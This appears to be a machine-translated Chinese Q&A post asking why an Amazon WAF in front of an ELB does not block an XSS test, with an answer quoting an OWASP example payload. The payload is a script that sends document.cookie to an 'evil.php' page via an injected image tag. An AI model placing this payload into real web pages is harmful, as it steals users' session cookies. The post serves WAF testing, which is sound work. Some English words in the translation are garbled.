Amazon WAF不阻止XSS或SQL注入

我试过用<script>danger</script>提交表单,而我没有被封锁。 我把WAF放在我的ELB上,并做了testing,以确保我有分析(下)。

我究竟做错了什么?

这是我的ACL:

ACL

这是我的XSS和SQL规则:

SQL注入规则

SQL注入conidtion

XSS规则

XSS预防状况

分析:(为了显示stream量确实通过LB路由) Analytics(分析)

以下是如何触发XSS规则的一个例子。 这应该自己触发你的规则(你可以通过指向你自己的PHP页面或其他Web位置来certificate它),但是这至lesscertificate了一般原则。

 <script type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); document.write("<img src='" + adr + "' />"); </script> 

这个和其他的例子可以在下面的OWASP文章中find:

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS&#xFF09;